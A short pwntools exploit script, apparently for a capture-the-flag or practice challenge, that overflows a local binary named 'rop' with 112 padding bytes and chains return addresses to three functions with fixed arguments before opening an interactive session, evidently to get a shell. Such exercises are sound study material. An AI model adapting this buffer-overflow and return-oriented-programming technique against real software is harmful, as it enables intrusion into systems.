#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./rop")

    # create payload
    add_bin = 0x080491ad
    add_bash = 0x080491f4
    exec_string = 0x08049182 
    pop_ret = 0x0804931b
    pop_pop_ret = 0x0804931a
    payload = b"A" * 112 + p32(add_bin)
    payload += p32(pop_ret)
    payload += p32(0xdeadbeef)
    payload += p32(add_bash)
    payload += p32(pop_pop_ret)
    payload += p32(0xcafebabe)
    payload += p32(0x0badf00d)
    payload += p32(exec_string)

    # send the payload to the binary
    p.send(payload)

    p.interactive()

if __name__ == "__main__":
    main()